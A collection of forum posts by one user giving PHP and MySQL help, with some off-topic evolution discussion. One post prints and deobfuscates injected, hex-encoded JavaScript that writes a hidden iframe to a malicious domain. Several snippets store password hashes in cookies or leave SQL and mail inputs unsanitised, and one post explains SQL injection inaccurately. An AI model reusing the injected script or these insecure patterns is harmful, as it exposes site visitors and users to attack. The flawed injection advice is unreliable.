cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I'm not sure what your function islogged() contains but your first page should look more like the following as there are 3 errors:

<?php include('includes/config.php');
$user = mysql_real_escape_string($_POST['username']);
$password = md5(addslashes($_POST['password']));
$userrow = mysql_query("SELECT * FROM users WHERE user_username = '" . $user . "' AND user_password = '" . $password . "'") or die('Error 1: '.mysql_error());
if (mysql_num_rows($userrow) == 1) {
ob_start();
  if (isset ($_POST['rememberme'])) {
    setcookie('username', $_POST['username'], time() + 60 * 60 * 24 * 365, '/', 'www.mysite.com');
    setcookie('password', md5($_POST['password']), time() + 60 * 60 * 24 * 365, '/', 'www.mysite.com');
  }
  else {
    setcookie('username', $_POST['username'], false, '/', 'www.mysite.com');
    setcookie('password', md5($_POST['password']), false, '/', 'www.mysite.com');
  }
  header('Location: index.php');
ob_end_flush();
}
else {
  echo 'Username/Password Invalid';
}
?>
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Try and replace your echo statement with the following:

echo '<input name="Upload" type="button" id="Upload" onClick="document.location.href=\'/Project/Upload.html\';" value="Upload New File">';

You forgot to add the quotes and return symbol as corrected in the above script.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Try removing the quotes from the mysql_num_rows line like the following:

if(mysql_num_rows($userrow) == 1){
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Well the mail script behind the scenes isn't as simple as it sounds. From what I have read in the manual some time ago, testing the mail function in an if statement only tests what may have gone wrong on the php side of things. If it passes that if function and doesn't send then it is more likely to be an incorrect server configuration or a fatal network error when transmitting the email. So if you are just using the above script as a test script and the mail function never works I would suggest sending an email to your web hosting company with a copy of the script as proof. So probably find just a misconfiguration on your server.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

The location I gave you is the litural location. So you first go to your phpmyadmin folder (the base folder for phpmyadmin) then inside that folder is the config.inc.php file.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

If it's simple, why can't you write it? And if you can't write it, what makes you think you can edit it?

Well if you would like an example the following is a script which will do the job.

<?
error_reporting(E_ALL ^ E_NOTICE);
$time=date('G-i-s-u'); //nj
echo 'You may test yourself by typing in the below field and clicking submit. Timer immediately after the page loads.<br>';
if (isset($_POST['typetext'])) {
	$time_end=explode('-',$time);
	$time_start=explode('-',$_POST['timestart']);
	$time_start[0]=bcmul($time_start[0],'3600000000');
	$time_start[1]=bcmul($time_start[1],'60000000');
	$time_start[2]=$time_start[2]*1000000;
	$start_time=bcadd(bcadd($time_start[0],$time_start[1]),bcadd($time_start[2],$time_start[3]));
	$time_end[0]=bcmul($time_end[0],'3600000000');
	$time_end[1]=bcmul($time_end[1],'60000000');
	$time_end[2]=$time_end[2]*1000000;
	$end_time=bcadd(bcadd($time_end[0],$time_end[1]),bcadd($time_end[2],$time_end[3]));
	$totaltime=bcsub($end_time,$start_time);
	
	//above calculates the total time with great accuracy
	$totaltime=bcdiv($totaltime,1000000);
	if ($_SERVER['SERVER_NAME']!=='localhost') { $totaltime-=1000000; }
	if (strlen($_POST['typetext'])) {
		$chars=strlen($_POST['typetext']);
		$chars/=3;
		$subtime=60/$totaltime;
		$result=$totaltime/$chars;
		$result=$subtime/$result;
		}
	echo 'Your typing speed is: '.round($result,2).' words per minute.<br>';
	} else { unset($time); }
?>
<form method='post' style='margin:0px; padding:0px;'>
<input type='hidden' value='<? echo date('G-i-s-u'); ?>' name='timestart'>
<textarea name='typetext' style='width:50%; height:75px;'></textarea>
<input type='submit' value='submit'>
</form><br>
Note that the more you type the more accurate the test will be.

Also with the above script, the more you type the more accurate the test will be and you can type anything into the text box for the test.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Well they both are identical when it comes to physical use but the only difference is error reporting. If include() fails then a standard error will be displayed and the page will continue loading however, if require() fails then the entire script fails and the entire page comes to a stop with the error message.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

And it is as follows:
/phpmyadmin/config.inc.php
Just adjust the appropriate variables/arrays.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Although it is possible, you will find that the typing speed php calculates will be slower than the real typing speed due to page loading and submitting time. For this reason you should deduct about 1 second from the overall time if the page has no graphics.
As for how to make it work, I would suggest placing in a hidden field the time the page was loaded then when the page is submitted, that time that was recorded can be compared to the current time to work out how long it took. Then do number of characters they typed devided by 3. Then do time it took devided by the previous result (the devide by 3 result). Then do 1 devided by the result. Really simple stuff but as I mentioned, an online typing test will not be 100% accurate due to page loading time and the time for submitting the results. Also note that when timing typing speed, one word normally = 3 characters.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

And also check for separate tables..
http://www.bigresource.com/PHP-Import-Excel-file-into-MySQL-database-3GCFOrrb.html#r2WzqLkg

The only thing wrong with that recourse for my situation is that it requires headers and php-gtk doesn't support the type of headers used in that script. But for the question in post #1 it might do the job. However, to help clear things up, I found an oop project for writing to excel documents located at http://phpexcel.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=10715 I am investigating that oop project/source to see if it would be better than using the pear library I shared ealier. For some reason pear libraries just aren't working due to unmatched compilations. But hopefully the link above should help.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I came across a similar problem 21 hours ago but have now found that a library has been made for excel files. Note that this library can only write to excel files an not read excel files. You can check it out at http://pear.php.net/package/Spreadsheet_Excel_Writer/docs
At least that appears to be the solution for my problem with excel and php.
Edit:
Actually, if this extension is what you are looking for how would you install it in php-gtk? If this edit does not relate to this topic then I shall post my own topic.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Information about Mysql injections-
Well the thing that makes mysql injections are 2 main factors. One as you have discovered is if there is a quotation mark in the variable and you place that in the mysql query then an error is reported as the quotation mark messes up the mysql query. So what mysql_real_escape_string does about that is put a slash to the left of the quotation mark (forget if it uses forward slash or backslash) and that prevents the quotation mark from escaping the query.
Now for the nasty injections. Believe it or not, mysql has a regex syntax like preg_match where if a user can enter data into the database (mainly for Select parameter) then the user can use that regex to make unwanted matches or unwanted inserts. An example is when not using mysql_real_escape_string, to pass by a security system such as a login pannel, all the user needs to do is place a % symbol in the username and password and that will match all entries in the database because the % symbol is a wildcard. There are probably many other things they can do that I don't know about since I never use the mysql version of regex but to make it safe its best to allways use mysql_real_escape_string().

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Perhaps the next generation of supercomputers can find the answer to why life exists and how it exists. That would be interesting. Surley supercomputers by year 2030 will be able to find all the answers. After all, we expect to see robots walking the streets by 2050. Maybe in the future years to come, robots would have such greater cpu that they would replace scientists and will answer all these questions.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

It appears it is mixing the column names with the values somehow. So there are two options one the board of what I can see and they are, try to copy and past the following code to see if it works:

if($isInsert){
$sql="INSERT INTO tbl_projectstatus (project_name,cust_name,project_desc,date,time) VALUES ('".mysql_real_escape_string($proname)."','".mysql_real_escape_string($custname)."','".mysql_real_escape_string($statusdesc)."', '$date',".now()." )";        

			if(!mysql_query($sql,$con)){
										die('error' .mysql_error());
									  }

If the above code doesn't work, I would suggest doing the insert query a much easier way like the following:

if($isInsert){
$sql="INSERT INTO tbl_projectstatus SET project_name='".mysql_real_escape_string($proname)."', cust_name='".mysql_real_escape_string($custname)."', project_desc='".mysql_real_escape_string($statusdesc)."', date='".$date."', time='".mysql_real_escape_string(now())."'";        

			if(!mysql_query($sql,$con)){
										die('error' .mysql_error());
									  }

The second code box is how I usually do it as it is simple and easy.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

So you say its a single quotes problem. What about if any one of those variables contained a single quote or even a double quote? The only thing to do about that would be the script in my previous post. As your script stands, it is open to mysql injections and can easily be bugged up with an injected quote (which is probably happening). That is why I suggest the script I presented in my previous post.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Well ya sent the nessecary code plus extra and so try replacing the $sql variable with the following:

$sql='INSERT INTO  tbl_customer(comp_name,comp_add,comp_pnum,comp_email,comp_fnum,select_loc) values("'.mysql_real_escape_string($cname).'","'.mysql_real_escape_string($cadd).'","'.mysql_real_escape_string($cpnum).'","'.mysql_real_escape_string($email).'","'.mysql_real_escape_string($cfnum).'","'.mysql_real_escape_string($select).'")';

That should prevent any strings from escaping and should help prevent mysql injections.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

In case you didn't know that is a mysql syntax error used inside the mysql_query() function. So could you post what you placed inside the mysql_query() function(s) that this error relates to. It is really just the string/text inside that function that we need. Thats where the real error is.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Also your $_REQUEST is incorrect. It should be $_REQUEST or $_POST
I have made a few modifications to the php file to fix it up a bit and compact the code. Sorry if I confused you but the way I would do the code is something like the following:

<?php
if (isset($_POST['emailler'])) {
mail( $_POST['emailler'], 'Name: '.$_POST['Name'],
$_POST['msg'], "From: ".$_POST['Name2'] );
echo "Thank you for using our mail form";

} else {

echo "<form method='post' action='sendmail.php'>
Name: <input name='email' type='text' /><br />
Email: <input name='subject' type='text' /><br />
Message:<br />
<textarea name='message' rows='15' cols='40'>
</textarea><br />
<input type='submit' />
</form>";
}
?>

Also I would suggest having a validator that checks if the message is empty and if the email provided has a valid domain. So that can be done with regex and curl. Also, code tags like I've used help make the code more readable. So please use code tags in the future. :)

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I understand that this is solved but to make it clear of what was happening, I translated the script in post #1 to something easier to read and slower to execute and it reviels in the status bar different servers the javascript made the browser communicate with. Although most of them were ip address there was a domain gogo2me.net which in google turns out to be a malicious website. So the easier to read and slower to execute code is as follows:

<script>function dofunc(l4963660743855){
 var l4963660744026=16;
 return (parseInt(l4963660743855,l4963660744026));
}
function display(l4963660745797){
 function l4963660746f0b(){
  return 2;
 }
 var number='';
 l4963660747eab=String.fromCharCode;
 for(l4963660746738=0; l4963660746738<l4963660745797.length; l4963660746738+=l4963660746f0b()){
  number+=(l4963660747eab(dofunc(l4963660745797.substr(l4963660746738,l4963660746f0b()))));
 }return number;
}
var l4963660748680='3C7363726970743E696628216D796961297B646F63756D656E742E777269746528756E6573636170652820272533632536392536362537322536312536642536352532302536652536312536642536352533642536332533312533302532302537332537322536332533642532372536382537342537342537302533612532662532662536372536662536372536662533322536642536352532652536652536352537342532662532652536372536662532662536332536382536352536332536622532652536382537342536642536632532372532302537372536392536342537342536382533642533332533342533392532302536382536352536392536372536382537342533642533352533352533372532302537332537342537392536632536352533642532372537362536392537332536392536322536392536632536392537342537392533612536382536392536342536342536352536652532372533652533632532662536392536362537322536312536642536352533652729293B7D766172206D7969613D747275653B3C2F7363726970743E';
document.write(display(l4963660748680));
</script>

You will probably find that its most likely only those website viewers using internet explorer would be effected as it is a recently identified security floor in internet explorer for what this javascript does by the looks of it. The security floor in internet explorer is that those without the patch a hacker (like in your script) can take over somebodys operating system. That should give you a better understanding on how the script was messing with your website.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Thanks cwarn23, appreciate the info. Would I be able to add a number of email addresses into the $headers?

If you are talking about the Bcc header (Blind Carbon Copy) then since at the moment I don't have access to my localhost server, I will have to say that one of the following two code snippits will do the job. But unsure if both will work.

$headers .= 'Bcc: emailfirst@example.com' . "\r\n";
$headers .= 'Bcc: emailsecond@example.com' . "\r\n";
$headers .= 'Bcc: another@domain.com' . "\r\n";
$headers .= 'Bcc: mine@gmail.com' . "\r\n";

or if the above doesn't work.

$headers .= 'Bcc: emailfirst@example.com, emailsecond@example.com, another@domain.com, mine@gmail.com';

Hope that answers your question as I am unsure if the above code works.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

The following is an example based on a php.net example. It just simply uses a coma (,) to add more emails and additional headers for blind carbon copy (bcc) where people can't see what other people received the same email.

<?php
// multiple recipients
$to  = 'aidan@example.com' . ', '; // note the comma
$to .= 'wez@example.com';

// subject
$subject = 'Test subject';

// message
$message = 'This is the message';

// Additional headers
//Blind Carbon Copy emails
$headers = 'Bcc: user@example.com' . "\r\n";

// Mail it
mail($to, $subject, $message, $headers);
?>

So as you can see in the example above, all you need to do in the to field is add a coma to separate the emails. But I am not too sure about the Blind Carbon Copy (Bcc) though. Good luck and hope the extra info helps as I hear sending mass email can slow down delivery time due to spam scanning issues.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

... it is going to sleep 1 hour sleep(1200); . This shouldn't require any configuration, i guess!
Is this statement logical?

Well the sleep function would be set to sleep(3600); if you want it to sleep an hour after sending. However, if you want it to take an hour from line 0 to the end of the script then that is when you will need to factor in what time has allready been taken. So judging by your previous post, it sounds like you want the script to take a little over an hour from start to finnish (or at least the loop) which meens you would just use the following:

sleep(3600); //sleep exactly one hour
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

This problem with sessions comes again and again. I think it was last month I help solve a simular problem. In most cases the cookie required for the session is unable to be stored inside the browser. So in otherwords, are cookies disabled in the browser that disallows sessions. So if it is mozilla firefox that sessions are not working, check that cookies are enabled. Cookies are all enabled then try using the session id in the url. Those two solutions solve most cases although the session id in the url may be a bit ugly. To use the session id in a url the following is an example of doing a link:

<?
echo '<a href="page2.php?' . SID . '">page 2</a>';
?>

Hope that helps.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

You may also want to note that if you plan to send 2000 email during exactly an hour then you will want to setup a timer to time how long it took for the script to execute before the sleep function then subtract that time from 3600.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Well how exactly does evolution conflict with religion? It only goes as far as a common ancestry and we know that god is long gone so doesn't it kinda fit in with religion. Because maybe from a religious point of view, god made the first set of species then the god passed away a few million years later and the species then continued to develope using the evolution thory. So unless you believe god is still alive today then I don't see how evolution conflicts with religion.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

First of all, i'm going to assume that you are using Visual C++, since after all thats the link you posted. Please make it clear if you are using Manged or Unmanged Win32 for your application, even better make it clear what operating system you are using too. Since linux will be different to windows. However it is obvious that you are indeed on a Windows OS of some kind.

Ok, I didn't realise that I had to be so specific since I have never done any successful c++ programs other than a simple dos system command. My operating System is Microsoft Window XP Pro and I am using Microsoft Visual C++. But I don't have a clue as to what Manged or Unmanged Win32 means??? And in case you need more info on my specs, I have 3250GB ram, 512mb Graphics, duel core. And I would also like my programs to work on xp home edition. It seems to be mainly the graphical interface that I am having trouble finding info on because it's like if its too basic to be documented. Some of the links nucleon sent look good but please send some simple or step by step guides if possible. But am impress by the catagorized link nucleon sent.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I have spent endless hours searching the web for a few days now and still the only tutorial I have found (doesn't even show everything I need) is at http://www.functionx.com/vcnet/controls/combobox.htm
But what I need is code or tutorials on how to make graphical interfaces such as textboxes, scrollbars, tickboxes etc and for basic processing of these features. Does anybody know of any links because I just can't find any reliable documentation. Even www.cplusplus.com doesn't have this information. Does anybody know of any useful tutorials or documentation specifically for graphical interfaces.
please help.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

The official silverlight website is at http://silverlight.net/ and in case your wondering, silverlight was originally developed in aspx or asp.net. (Microsofts server-side language.) But as for redeveloping it in php, I would suggest using a lot of css templates and maybe even copy some of the silverlight css code if it isn't too messy.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Five senses - I think if all species have around five senses then that would support evolution because why wouldn't a creator create some species with 20 or 30 senses? Wouldn't that be logical if creatism was true. Also if creatism was true, why are so many animals so simular. And who created the creator? We know if evolution was true that 2 gas balls created the universe but we don't know the equivelent story for creatism (such as how time began).
Just a bunch of questions to add to help support evolution and to talk about.

Rashakil Fol commented: Another idiotic Geek's Lounge posti -2
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I just love finding new functions that I never new existed! Is it ok if I include the following code in there saying with the help of ShawnCplus?

function hex_to_rgb($color,$rgb) {
    $color=str_replace("#",'',$color);
    $color_red = substr($color, 0, 2);
    $color_green = substr($color, 2, 2);
    $color_blue = substr($color, 4, 2);
    if ($rgb='r' || $rgb='red') {
        return hexdec($color_red);
        }
    if ($rgb='g' || $rgb='green') {
        return hexdec($color_green);
        }
    if ($rgb='b' || $rgb='blue') {
        return hexdec($color_blue);
        }
    }
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I see you used dbquery() instead of mysql_query(). Any reason for that. Also I have fixed the line mentioned in the error and your code should now look something like the following:

<?php
include("admin/config.php");

$ipgf=99;

include("admin/$languagefile");
include("functions.php");
if (isset($_GET['open'])) include("functions_pcode.php");
include("auth.php");
//Title
session_start();
$_SESSION['titlu_pagina'] = "Cabinete medicale, servicii medicale, farmacii";
if (isset($_GET['oi']))
{
$id_categorie=(int)$_GET['oi'];
$sql_111 = "SELECT `descr` FROM dj_items WHERE id={$id_categorie};";
$res_111 = mysql_query($sql_111);
$_SESSION['titlu_pagina'] = mysql_result($res_111, 0, 'descr');

}
//End of title
include($skindir."/layout.php");
session_register("dev_cart");

$mdl=7;
dump_begin();
load_tpl();

// Start content -----------------------------------------------------------------

if (isset($_GET['oi'])) $oi=(int)$_GET['oi'];
if (isset($_GET['ai'])) $ai=(int)$_GET['ai'];
$st=(int)$_GET['st'];

list($myai,$myoi,$mytab)=explode(';',$u_profile);

techo (dump_button("myreg.php","b_editeaza.gif"),"b_editeaza");
techo (dump_button("items_add.php","b_inscriere.gif"),"b_inscriere");

// cats view

if (!isset($oi)) {
thide ('items'); thide ('item');
$data=mysql_query("SELECT * FROM $dj_items ORDER BY title");

while ($x=mysql_fetch_array($data)) {
if ($x['catpic']) secho ($x['catpic'],'catpic','r0');
techo ($x['title'],'title','r0');
techo ("items.php?oi={$x['id']}", 'link','r0');
techo ($x['total'],'total','r0');
tclose ('r0');
}

dump_header('FURNIZORI');

}

// items view
if ((isset($oi))&&(!isset($ai))) {
thide ('cats'); thide ('item');



$c=mysql_fetch_array(dbquery("SELECT * FROM $dj_items WHERE id=$oi LIMIT 0,1"));


dump_header("<a href=\"items.php\" class=\"head\">SERVICII MEDICALE</a> > {$c['title']}");

techo (dump_banner('furnizori',0),'banner');

// filter

$tmp1=explode(';',$c['field_names']);
$tmp2=explode(';',$c['field_types']);
$tmp3=explode(';',$c['field_attr']);
$tmp4=explode(';',$c['field_filter']);

$filters=0; $pagequery=''; $query='';

for ($i=0; $i<count($tmp1); $i++) {
if ($tmp4[$i]) {
techo ($tmp1[$i],'title','r3');
switch ($tmp2[$i]) {
case 'multiple select':
case 'select':
secho (tablename($tmp1[$i]),'fselect','r3');
$tmp5=explode('~',$tmp3[$i]);
for ($j=0; $j<count($tmp5); $j++) {
techo (base64_encode($tmp5[$j]),'value','r3.r4');
techo ($tmp5[$j],'label','r3.r4');
if (base64_encode($tmp5[$j])==$_GET[tablename($tmp1[$i])]) techo (' selected','selected','r3.r4');
tclose ('r3.r4');
}

if ($tmp2[$i]=='multiple select') {
if (($_GET[tablename($tmp1[$i])]!=-1)&&(isset($_GET[tablename($tmp1[$i])]))) {
$pagequery.=tablename($tmp1[$i]).'='.$_GET[tablename($tmp1[$i])].'&';
$query.=tablename($tmp1[$i]).' LIKE \'%~'.dbcleanup(base64_decode($_GET[tablename($tmp1[$i])])).'~%\' AND ';
}} else {
if (($_GET[tablename($tmp1[$i])]!=-1)&&(isset($_GET[tablename($tmp1[$i])]))) {
$pagequery.=tablename($tmp1[$i]).'='.$_GET[tablename($tmp1[$i])].'&';
$query.=tablename($tmp1[$i]).'=\''.dbcleanup(base64_decode($_GET[tablename($tmp1[$i])])).'\' AND ';
}
}

break;
case 'numeric':
for ($j=0; $j<=3; $j++) {
techo ($j,'value','r3.r5');
techo ($l_fnum[$j],'label','r3.r5');
if (($j==$_GET[tablename($tmp1[$i]).'_sign'])&&(isset($_GET[tablename($tmp1[$i]).'_sign']))) techo (' selected','selected','r3.r5');
tclose ('r3.r5');
}
techo …
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

You must have put the wrong quote in. there was nothing in your quote to suggest ancestors came from space. I would rather have a link to the Max Planck Inst. than a quote from a documentary that only mentions the words Max Planck Inst. - do you understand the difference?

It is at the end of the first paragraph. To make it easier it is this section:

And what percentage of these branches are allocated to the different life forms on this planet? And thats something thats still evolving itself and that we're still learning about. There's a greate deal of diversity out there that we know nothing about.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

hi there..
i almost got the same problem.
i have 3 drop down menus in my page.
i was able to populate the first drop down menu.
the 2nd and 3rd drop down menu was not successfully
populated.

Well you have only provided one query there so that would be why only one menu is working. Does your script look something like the following:

$con=mysql_connect("localhost","username","password");
if (!$con) die("Couldn't connect to MySQL");
mysql_select_db("databasename",$con) or die("Couldn't open admin: ".mysql_error());
$q1=mysql_query('SELECT table1.col1, table2.col2 FROM `table1`, `table2`');
echo '<select name="<fieldname>">';
while($rowa=mysql_fetch_array($q1))
    {
    echo '<option value="'.$rowa['<fieldname>'].'">';
    echo $rowa['<fieldname>'].'</option>';
    }
echo '</select>';


$q1=mysql_query('SELECT table1.col1, table2.col2 FROM `table1`, `table2`');
echo '<select name="<fieldname>">';
while($rowb=mysql_fetch_array($q1))
    {
    echo '<option value="'.$rowb['<fieldname>'].'">';
    echo $rowb['<fieldname>'].'</option>';
    }
echo '</select>';


$q1=mysql_query('SELECT table1.col1, table2.col2 FROM `table1`, `table2`');
echo '<select name="<fieldname>">';
while($rowc=mysql_fetch_array($q1))
    {
    echo '<option value="'.$rowc['<fieldname>'].'">';
    echo $rowc['<fieldname>'].'</option>';
    }
echo '</select>';

Note: In the above example replace <fieldname> with the real column name.
And also, just as an opinion, I find the examples in previous posts to be very basic and very non-php in a way. I believe the echo/print functions are the way to go.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Hi,
I have a website full of code snippets at http://syntax.cwarn23.info/PHP:_Contents but I need some ideas of small scripts that I can make for the example list. So there are some examples of what I have done at that link but I don't want the examples to be too complex.

Any ideas of simple php examples I can make?

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I think researchers are still looking for the common ancester of apes and humans which they are investigating weather the common ancester even came from earth or space (or at least some of our ancesters).

Not really true - there is no consideration given to the possibility of descent from space. We have quite a bit of 'hominid' (considered the common great ape ancestor) evidence. If you are interested, you can see the fossil evidence here - this includes some of the creationist arguments. The concept of the 'missing link' was mostly a media invention rather than a scientific concept.

Well to help prove my case below I have a quote directly from a recorded documentary about darwins theory which says the 'max planck institute' is researching if some of our ancesters came from space. So from 'max planck institute' point of view there is a great possibility of some of our ancesters comming from space and one day they will find proof.

At the max planck institute for evolotion and pathology in lipeson, research has been conducted for several years and dna analysis to establish the exact relationship between humans and apes. Darwins vision as I understand it would have been that there would be a single common ancester and that you can relate everything living to this common ancester and what science has done since then is fill in those details. So what do those branches look like? And which branches do humans evolve from for example? And …

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

basename is the filename within the path inputed. So say the filename was located /folder1/folder2/folder3/index.php basename would convert it to index.php

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

We did not evolve from the apes of today . Its a total misconception generated priciplally by creationists in order to try and damage the credibility of the Darwinian scheme of evolution, and kept alive by TV and cinemas flawed logic and spread by people like yourself who dont really understand it.

What we DO do is share a common ancestor with the apes of today.

I agree because from a documentary I've seen on darwins theory, apes are like our brothers and sisters on the ancestry tree. I think researchers are still looking for the common ancester of apes and humans which they are investigating weather the common ancester even came from earth or space (or at least some of our ancesters).

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

From my usage of text files, although I often read text file (both txt and htm) I seem to never write to text files. I suppose MySQL has always been a better alternative especially since it is not garranteed that the data you write will be actually written to the text file. I learnt that when doing a loop that would append to a text file 10000 times and a few dozen would never be recorded.
So in my opinion, use databases if you can especially since they are password protected. Only use text files if you want computer generated html files or something like that.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Try something like the following but only edit before the ####### comments. The mysql query has been normalised as I would call it and all you need to do is correct the table name and column name in the query as well as the column name in the resultrow[] array. Hope this code is of some good use to you.

<?php
//mysql connections
$result=mysql_query('SELECT * FROM `tablename` WHERE `columnname`="'.mysql_real_escape_string($idx).'"');
if (mysql_num_rows($result)==0) {
die ('No matching downloads found in database');
}
$resultrow=mysql_fetch_array($result)
$filenamezzz=resultrow['columnname'];
unset($resultrow);

###############################################################
# File Download 1.3
###############################################################
# Visit http://www.zubrag.com/scripts/ for updates
###############################################################
# Sample call:
#    download.php?f=phptutorial.zip
#
# Sample call (browser will try to save with new file name):
#    download.php?f=phptutorial.zip&fc=php123tutorial.zip
###############################################################

// Allow direct file download (hotlinking)?
// Empty - allow hotlinking
// If set to nonempty value (Example: example.com) will only allow downloads when referrer contains this text
define('ALLOWED_REFERRER', '');

// Download folder, i.e. folder where you keep all files for download.
// MUST end with slash (i.e. "/" )
define('BASE_DIR','/home/user/downloads/');

// log downloads?  true/false
define('LOG_DOWNLOADS',true);

// log file name
define('LOG_FILE','downloads.log');

// Allowed extensions list in format 'extension' => 'mime type'
// If myme type is set to empty string then script will try to detect mime type 
// itself, which would only work if you have Mimetype or Fileinfo extensions
// installed on server.
$allowed_ext = array (

  // archives
  'zip' => 'application/zip',

  // documents
  'pdf' => 'application/pdf',
  'doc' => 'application/msword',
  'xls' => 'application/vnd.ms-excel',
  'ppt' => 'application/vnd.ms-powerpoint',
  
  // executables
  'exe' => …
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Maybe Java.
Many browsers block most popup windows but I think Java and Flash are exceptions. Note that Java is not Javascript.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

The example using DB looks good but isn't it slow? Also these all sites will get a lot of hits from robots and human.

Ya posted while I was typing and can't edit previous post.
I have used databases in loops that loop millions of times and it seems that databases are a little slower than sessions or even arrays but when using them in the right fashion they can be faster. And in comparison to text files it seems that text files keep on skipping entries unlike mysql.

So the answer to your question is that it would be best to use the $_GET perameter wherever possible but when neccessary, you can use a database for the occasional server side data storage. Because when you think about it how many high traffic website really use any form of sessions at all. None that I have found because it requires too many recourses. Even regular sessions with high loads of traffic can cause a high cpu.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Cross site cookie is possible.

Well doing cookies for multiple domains use to be possible if you would like to be classified as a hacker but since patches to browsers in recent years it is nolonger possible to hack someones system to accept those multisite cookies. That is what wikipedia has to say. So to solve this you will need some sort of recording system on the server side (other than sessions) to swap the data. The only other option other than hacking into the users system is to a- use 200 cookies for 200 domains or b- use a database to swap data between pages. Which option would you like? From your previous post it sounded like the 200 cookies option.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

If you are using 200+ domains then your best option may not be sessions. You may be better an a code invention I made 'cross-side cookies' or otherwise known as 'longer lasting server side cookies'. It works very simular to a session except an extra feature that makes it last longer and uses mysql to store the data. If you are interested the script is as follows:

To create the initial database use the following:

<?
$dbhost='localhost'; //database host (usually localhost)
$accountname='root'; //database username.
$password=''; //database password
$database='my_database'; //database name - not table
 
//configure the above variables.
 
 
$linkID = @mysql_connect($dbhost,$accountname,$password)
	or die("Could not connect to MySQL server");
@mysql_select_db($database) or die("Could not select database");

mysql_query('CREATE TABLE `'.$database.'`.`cookies` (`name` TEXT NOT NULL, `value` TEXT NOT NULL, 
`ip` TEXT NOT NULL, `expires` TEXT NOT NULL) ENGINE = MyISAM') or die(mysql_error());
echo "Table named 'cookies' has been created successfully."
?>

Make at the top of all your files or use include() to import the following script into your pages:

<?
$dbhost='localhost';
$accountname='root';
$password='';
$database='my_database';

$linkID = @mysql_connect($dbhost,$accountname,$password)
	or die("Could not connect to MySQL server");
@mysql_select_db($database) or die("Could not select database");

function ssl_cookie_make($cookies_minutes_till_expire,$cookies_houres_till_expire,$cookies_days_till_expire,$cookiename,$cookievalue)
    {
    $cookiename=str_replace("'",'"',$cookiename);
    $cookies_months_till_expire=0;
    $cookieexpiresy=date(Y);
    $cookieexpiresm=date(m)+$cookies_months_till_expire;
    $cookieexpiresj=date(j)+$cookies_days_till_expire;
    $cookieexpiresg=date(G)+$cookies_houres_till_expire;
    $cookieexpiresi=date(i)+$cookies_minutes_till_expire;
    setcookie('ssl_cookie', gethostbyaddr($_SERVER['REMOTE_ADDR']),  time() + 31536000); 
    if ($cookieexpiresi>59)
        {
        while ($cookieexpiresi>59)
            {
            $cookieexpiresg+=1;
            $cookieexpiresi-=60;
            }
        }
    if ($cookieexpiresg>24)
        {
        while ($cookieexpiresg>24)
            {
            $cookieexpiresj+=1;
            $cookieexpiresg-=24;
            }
        }
    if ($cookieexpiresj>30)
        {
        while ($cookieexpiresj>30)
            {
            $cookieexpiresm+=1;
            $cookieexpiresj-=31;
            }
        }
    if ($cookieexpiresm>12)
        {
        while ($cookieexpiresm>12)
            {
            $cookieexpiresy+=1;
            $cookieexpiresm-=12;
            }
        }
    mysql_query("INSERT INTO `cookies` SET `name`='".$cookiename."', `value`='".$cookievalue."', `ip`='".gethostbyaddr($_SERVER['REMOTE_ADDR'])."', 
`expires`='".$cookieexpiresy.",".$cookieexpiresm.",".$cookieexpiresj.",".$cookieexpiresg.",".$cookieexpiresi."'"); …
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

If you are talking about the line number the die() function is used on then the following is an alternative die function that will show the line number.

function dieline($stringz) {
$dataz=file_get_contents(basename($_SERVER['PHP_SELF']));
$datazz=explode($stringz,$dataz);
$rowz=substr_count($datazz[0], '
'); //must start at beginning of line
die ('<b>Error Line number '.$rowz.'</b><br>'.$stringz);
}
//now to use it
$result=mysql_query('SELEC * FROM `table`') or dieline('Error 001'.mysql_error());

The only thing to keep in mind is that the string you enter into the die function needs to be unique from all the other strings in the file. So the best way to avoid the wrong line number from comming up is having the phrase 'Error 001' before the mysql error reporting except replace the number with a unique number from all the other die() / dieline() functions.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

To have a session on multiple domains you would need to have the session id in the url instead of the sessions cookie as cookies only work for one domain. So when linking to a page, link to a page like this:

<?
echo '<a href="page.php?'.SID.'">Link Title</a>';
?>

The SID is needed (session id) and needs to not be in a string but instead be as the way you would echo an array.

